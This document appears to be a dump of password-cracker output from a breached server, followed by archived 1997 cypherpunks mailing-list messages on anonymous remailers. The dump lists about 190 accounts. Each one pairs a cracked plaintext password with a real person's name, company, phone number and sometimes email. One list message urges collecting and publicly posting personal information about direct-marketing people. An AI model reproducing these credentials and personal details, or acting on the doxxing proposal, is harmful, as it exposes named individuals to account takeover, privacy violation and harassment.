Guessed mkiely [mkiely [12345]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9a [vlk9a [123456]]  Nancy A Tietien,VLK9 Network,602-874-9247,kat187@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed lists [lists [JOSHUA]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed website [lists [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed morinfo [morinfo [CESSNA]]  John Fraine,,941-732-1872,hirate@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ragesking [ragesking [KIMMY]]  Gary S. Kuzel,,630-985-5191,gskinc@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed pichx [pichx [DRAGON]]  Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh]
Guessed srdindusry [srdindusry [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed softcell [softcell [SOFTIE]]  Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh]
Guessed glory [glory [HUMBOLDT]]  Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh]
Guessed mybox [mybox [FORWARD]]  Thomas Cox,,, [etc_passwd.fixed /bin/tcsh]
Guessed xtraco [xtraco [ORANGES]]  Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco@cris.com [etc_passwd.fixed /bin/tcsh]
Guessed eznrg [eznrg [DIAMOND]]  Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh]
Guessed a030253 [a030253 [SIERRA]]  GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh]
Guessed egtech [egtech [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed homelab [homelab [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed mktginfo [mktginfo [MARTHA]]  Robert Hutton,,,RHutton@mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus2 [mikeplus2 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed vistagroup [vistagroup [KODIAK]]  George Gaul,The Vista Group,303-674-2256,captain@ecentral.com [etc_passwd.fixed /bin/tcsh]
Guessed thanku [thanku [ELBOWS]]  Doug Sutton,,, [etc_passwd.fixed /bin/tcsh]
Guessed herbalpc [herbalpc [SPUNKY]]  Pat Connolly / Joyce,,309-691-1762,herbalpc@ix.netcom.com [etc_passwd.fixed /bin/tcsh]
Guessed testing [testing [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed wolfgang [wolfgang [OLIVER]]  Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh]
Guessed llgun [llgun [LOKEY]]  Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh]
Guessed xpres [xpres [LANSING]]  Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh]
Guessed give [give [TUCKER]]  Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh]
Guessed zen [zen [KITTY]]  Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh]
Guessed mustsee [mustsee [JACKSON]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed aopptun [aopptun [BENNIE]]  AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh]
Guessed amnat3 [amnat3 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed hologram [hologram [PHONECAR]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed injuredjoe [injuredjoe [CAPTAIN]]  Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh]
Guessed healthy4u [healthy4u [BEGIN]]  Betty M. Colombo,healthyu@juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh]
Guessed tntalgae [tntalgae [FROSTY]]  Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh]
Guessed gks [gks [DANCER]]  Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh]
Guessed praetor [praetor [TEMP]]  Dave Browning,,, [etc_passwd.fixed /bin/tcsh]
Guessed midstateop [midstateop [SPIKE]]  Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh]
Guessed extractor [extractor [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed lorios [lorios [DOLORES]]  Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh]
Guessed zitbuster [zitbuster [ARTURO]]  Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh]
Guessed showcase [showcase [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed ableman [ableman [SEESAW]]  Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh]
Guessed infotape [infotape [STARFISH]]  Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh]
Guessed thegreen [thegreen [PEPPER]]  Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh]
Guessed aperillo [aperillo [BUNNER]]  Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh]
Guessed csn [csn [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed secret [secret [ALEXANDR]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed details [details [SKIPPY]]  ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh]
Guessed biznews [biznews [DRAGON]]  Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh]
Guessed hummingbrd [hummingbrd [CLOVER]]  gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh]
Guessed minesh [minesh [ASHWIN]]  A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed JBA1231 [JBA1231 [STARSHIP]]  Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh]
Guessed freelance [freelance [SELINA]]  Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh]
Guessed univer [univer [PIPER]]  James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh]
Guessed rhutton [rhutton [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh]
Guessed agape [agape [LOGOS]]  Adrian Watson,Y.A.M. Incorporated,,hpatrick@nls.net [etc_passwd.fixed /bin/tcsh]
Guessed awareness [awareness [HAPPY]]  Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh]
Guessed capital [capital [CESSNA]]  Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed infostart [infostart [GOFORIT]]  Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh]
Guessed donl [donl [DONELLE]]  Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh]
Guessed peak [peak [ORGASMIC]]  Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh]
Guessed vipvalues [vipvalues [GRACE]]  Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh]
Guessed lilleyen [lilleyen [GANDALF]]  Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh]
Guessed ozone [ozone [TOWLES]]  Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh]
Guessed welcome [welcome [SNOWSTOR]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed child [child [MIDAS]]  Bill Panchuck,Showcase,eaglekoz@ix.netcom.com, [etc_passwd.fixed /bin/tcsh]
Guessed cellular [cellular [DISKETTE]]  John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh]
Guessed sponsors [sponsors [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed cbccorp [cbccorp [SCOUT]]  Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh]
Guessed autoreply [autoreply [NORTHLAN]]  Karen Nelson,Northland Specialty Products,218-727-8641,rnelson@cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh]
Guessed money4u [money4u [KELLY]]  PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed stealdeals [stealdeals [ENERGIZE]]  Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh]
Guessed gcmkt [gcmkt [CRAWFISH]]  Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh]
Guessed autofuture [autofuture [CADILLAC]]  Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh]
Guessed freeway1 [freeway1 [SLACKER]]  Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh]
Guessed jl [jl [MILAGROS]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed bewealthy [bewealthy [GREENBAC]]  John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh]
Guessed freeinfo [freeinfo [CHICLET]]  Alan Lange,,, [etc_passwd.fixed /bin/tcsh]
Guessed deepbreath [deepbreath [ANANDA]]  Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed gcprod [gcprod [PRODUC]]  Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh]
Guessed infocenter [infocenter [ACCUSER]]  Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh]
Guessed grants [grants [TERESA]]  Victor Chapman,CM Consulting,516-377-3307,roger7891@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed vision [vision [THUNDER]]  Paula Stoup,,717-783-6465,paulas1043@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus1 [mikeplus1 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed srdcorp [srdcorp [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed bncentprs [bncentprs [JESUS]]  Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh]
Guessed shamrock [shamrock [CYPRESS]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dlbedding [dlbedding [CHANCE]]  Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed frsecurity [frsecurity [THISISIT]]  Robert Davis,,803-667-0702,jdr02@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed david [david [REBECCA]]  David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh]
Guessed pegasustrv [pegasustrv [LIZZIE]]  Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh]
Guessed employnews [employnews [INGRID]]  Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh]
Guessed carproinc [carproinc [GROSS]]  Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed alexis [alexis [WHALES]]  Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh]
Guessed topscan [topscan [JUSTIN]]  David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh]
Guessed mattken [mattken [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed travelagt [travelagt [GOLDIE]]  David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh]
Guessed coupons [coupons [DISKETTE]]  John Hendrix,,, [etc_passwd.fixed /bin/tcsh]
Guessed salesunlim [salesunlim [COYOTE]]  Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh]
Guessed incomeplus [incomeplus [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed lecram [lecram [BARUCH]]  Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh]
Guessed mortgage [mortgage [PEANUT]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed ucan2 [ucan2 [NAMASTE]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed hotbiz [hotbiz [ALBERTA]]  Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh]
Guessed sjsent [hotbiz [ALBERTA]]  Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed findout [findout [SWISHER]]  Ben Vann,Blue Whale Media,910-785-9296,bvann@whalemail.com [etc_passwd.fixed /bin/tcsh]
Guessed prosper [prosper [SITUATIO]]  Daniel Sheehey,,707-822-8324,djshee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed iaplus [iaplus [SALOME]]  Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh]
Guessed light [light [RAYMOND]]  AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh]
Guessed cheapcalls [cheapcalls [MAGICAL]]  Richard Rubenstein,,219-864-2501,rnr@pla.net.net [etc_passwd.fixed /bin/tcsh]
Guessed bigprofits [bigprofits [DROSOPHI]]  Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits@writeme.com [etc_passwd.fixed /bin/tcsh]
Guessed powernow [powernow [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed drchris [drchris [PSYCHE]]  Dr. Chris Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh]
Guessed amnat1 [amnat1 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed amsquare [amsquare [MOOSEHEA]]  Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed answers [answers [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed freeads [freeads [BATMAN]]  Bill Guting,,,awt@cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed college [college [KELLY]]  Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed powerad [powerad [DENTAL]]  Juanita Boivin,,,urwlthybiz@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed newbuss [newbuss [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed classads [classads [WINTER]]  Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh]
Guessed zee [zee [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed disease [disease [MOOSEHEA]]  Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed steveplus [steveplus [GIANTS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed matco [matco [PRAISE]]  John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh]
Guessed legalwon [legalwon [CRITTER]]  Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh]
Guessed siteone [siteone [CIRCLE]]  Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh]
Guessed sandman [sandman [BLASTER]]  Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh]
Guessed disneygroup [disneygroup [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed sevenmil [sevenmil [DOROTHY]]  Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed adman [adman [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed solar1 [solar1 [SHOPPING]]  Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh]
Guessed b6024 [b6024 [PATIENCE]]  Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh]
Guessed online [online [LOVER]]  Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh]
Guessed invest [invest [CRYSTAL]]  Benjamin Ice,,,jammerjoe@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gocell [gocell [AMANDA]]  Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh]
Guessed donow [donow [TURNAROU]]  Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh]
Guessed laptop [laptop [MUSIC]]  Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed mktgconcepts [mktgconcepts [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131,rhutton@idt.net [etc_passwd.fixed /bin/tcsh]
Guessed wholesaleprices [wholesaleprices [MARIAM]]  Mohammad Hanif,,972-669-2223,compumart@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed removeme [removeme [ERASER]]  Dave Mann,,, [etc_passwd.fixed /bin/tcsh]
Guessed allnatural [allnatural [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed welltrend [welltrend [BUMBLE]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed mquest [mquest [OOPS]]  Phil Brown,Merchant Quest,541-742-6206,pbrown@pdx.oneworld.com [etc_passwd.fixed /bin/tcsh]
Guessed health [health [JESUS]]  Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh]
Guessed rcenterpi [rcenterpi [HALFWAY]]  Ron Mayfield,,417-445-2602 or 417-445-6797,roncan@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed tvlsecrets [tvlsecrets [CAVIAR]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed protection [protection [MOOSEHEA]]  Doug Peterson,,, [etc_passwd.fixed /bin/tcsh]
Guessed robtym [robtym [MAKEMYDA]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed networkes [networkes [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed helpme [helpme [CORKIE]]  Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh]
Guessed profile [profile [METHOD]]  Joe Kuhn,908-220-1110,qwikmail@raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh]
Guessed adna1 [adna1 [MAYE]]  Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh]
Guessed response [response [STINKY]]  Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh]
Guessed anyahu [anyahu [ANKLES]]  Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed secret1 [secret1 [ALEXANDR]]  John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh]
Guessed ezwork [ezwork [ACCESS]]  Glenda Smith,,216-291-4589,gs72895@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed herb [herb [TINSEL]]  Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh]
Guessed cash [cash [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed choice3 [choice3 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed yucan2 [yucan2 [OLIVER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed rainbow [rainbow [WILBUR]]  Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh]
Guessed choice4 [choice4 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed jeps318 [jeps318 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed mortgages [mortgages [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed blizzard97 [blizzard97 [BETSY]]  David Woldt,,605-886-3654,turbo41@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mecca [mecca [BACKWARD]]  Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed teezer [teezer [TEASER]]  Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh]
Guessed help4u [help4u [MINERAL]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed free800 [free800 [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed bdbem [bdbem [ANNIE]]  Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh]
Guessed tpn1996 [tpn1996 [TALONS]]  Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh]
Guessed rdlpinfo [rdlpinfo [PARKER]]  Peter Vaglica,,,tlpc@gte.net [etc_passwd.fixed /bin/tcsh]
Guessed healthwealth [healthwealth [JESUS]]  Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh]
Guessed eleven [eleven [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed infosales1 [infosales1 [BEAR]]  Steve Crockett,,904-857-7717,infosales1@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed secrets [secrets [PICKUP]]  Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh]
Guessed marketinfo [marketinfo [PARKER]]  Peter Vaglica,,,tlpc@gte.net [etc_passwd.fixed /bin/tcsh]
Guessed kangaroo [kangaroo [LYDIA]]  Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh]
Guessed wealth [wealth [KELLY]]  Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh]
Guessed difaznet [difaznet [GORDO]]  Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh]
Guessed bizopp [bizopp [ALBERTA]]  Ted Benedict,,, [etc_passwd.fixed /bin/tcsh]
Guessed offshore1 [offshore1 [JAMAICA]]  Denise Cook,Marketing Ect Trust,602-979-4844,dicook@sisna.com [etc_passwd.fixed /bin/tcsh]
Guessed diet30 [diet30 [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed sales [sales [CARRIER]]  Brad Konia,,610-437-1000,brad@fastcolor.com [etc_passwd.fixed /bin/tcsh]
Guessed blessdlife [blessdlife [SUNSHINE]]  Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed jeps317 [jeps317 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 23 Mar 1997 04:10:15 -0800 (PST)
To: (Alec)cypherpunks@toad.com>
Subject: Re: Remailers: Free vs. Fee
In-Reply-To: <3.0.1.32.19970322175306.007ca580@smtp1.abraxis.com>
Message-ID: <v03007817af5ad0b4740f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:53 PM -0500 3/22/97, Alec wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>A question for those legally-minded list members.
>
>Poorly put:
>
>Does the requirement an individual pay a fee (or the acceptance of a fee) for
>remailing services create a liability on the part of the remailer in regard
>to the content of the message?
>
>Or, if the service is free does the remailer have less risk than if he
>charged for it?

Have you been skipping the messages from Greg Broiles on this very topic?

I suggest you dig up his messages and read them.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 23 Mar 1997 01:59:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Remailers & Linux Dis
Message-ID: <TCPSMTP.17.3.23.5.6.26.2780269260.1581987@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:alan@ctrl-alt-del.com to Harka <=-

 In> I think that the actual thing preventing ISPs from setting up
 In> remailers is more of a liability issue, as opposed to a
 In> technical one.

Absolutely. When I asked my ISP to implement a remailer in the Linux
sub system, they said "You mean, OUR Linux??" "NO WAY!!".
People are simply afraid of possible liability suits. Therefore
remailers should rather be viewed as a problem solved by individuals
(not ISP's) and lot's of them...

Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzT+rDltEBIEF0MBAQGQegf+IuKRoNx98Vss2GkcIVHY7Nfgo4xQVozy
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KQYBVfV0S5dcXvjAUxVZezgz9ebuvO4E9ZJrVrG+8rAdCeOVttXwVGCsCYiEGTz+
2pUxTpbweqUixevSNHrFakYwmeDcHnyrTCu/KjdecHQfNBZMLmu6O6ooLmcoei6M
XZLTeJ5eSEEL3d9WWTrTIpuc2HzuGU1lfp+2+aqEs5K5mFyUH6xXEyt+G46ZXTjg
WYyPGwgxxPZJ1q2wS3ON8o+98i/o/L/LDqqrFwmdvY9OOI8hiTTHNA==
=SHPF
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 23 Mar 1997 02:00:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "why privacy" revisit
Message-ID: <TCPSMTP.17.3.23.5.6.40.2780269260.1581988@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


 -=> Quoting In:jonathan@gaw.net to Harka <=-

 In> the responses i've gotten have been all too theoretical and, i
 In> believe, too hypothetical and removed for most people. when asked if
<snip>
 In> i don't disagree with the people on the list. i am just having
 In> a hard time translating it to the public in concrete terms.

 >At 09:50 PM 3/22/97 -0500, you wrote:

 >>Information warfare. Collect information about DMA people, using
 >>their own weapons against them. Then post it somewhere on the
 >>Internet via remailers and cc themselves, Reuters and the New York
 >>Times...

Think about it. If there were a couple widely publicized cases,
where all the easily obtainable information of individuals were
publically postet on the Net, the "public" as such would become
aware of it. An example was the Oregon DMV CD...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzT+wTltEBIEF0MBAQElHwf8DePdkRRvp+KJ4FMKRAOUgEKOCEHgB4uD
uJSC8rJklzmA2h3kr2aZ/8GqU7mKfKjn3teTz35dRqW3DdwscdVx4hqw2PG+aoV/
RSDMcSYZJiHfTmXPdGhpIp+94OpZ77AVGK5VMloe5/DXqEfvrLmQKNQ2FWlFt7nu
BK1Cu48oK6WkEhvehJNpV0/fZ+iArQPzE/Pd2PoqzdHf1+Vfdi3cmzQdi5e9QZd1
vdG1ous5QLKpFwMjT8VvvgyIltfApk5h80Yk0hGXLVfsQ5JzmtVDKJumeidAWDtS
xaylFwIcXWbHMWOapQpJbMRO6Y5tEUKFRVgViYdmaqGSuskSHC2u9Q==
=uNPm
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 23 Mar 1997 02:36:38 -0800 (PST)
To: harka@nycmetro.com
Subject: viewing the web anonymously (Re: Cyberpromo hacked)
In-Reply-To: <TCPSMTP.17.3.22.-11.49.46.2780269260.1581755@nycmetro.com>
Message-ID: <199703230745.HAA00298@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Harka <harka@nycmetro.com> writes:
>  In> Cyberpromo is apparently blocking anonymizer's access to its
>  In> page.  It also had a statement that they believe they know the
>  In> identity of the hacker which they have turned over to the
>  In> authorities.
> 
